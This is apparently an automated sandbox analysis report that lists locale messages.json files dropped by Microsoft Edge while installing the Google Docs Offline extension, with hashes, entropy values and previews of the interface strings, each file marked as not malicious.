Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
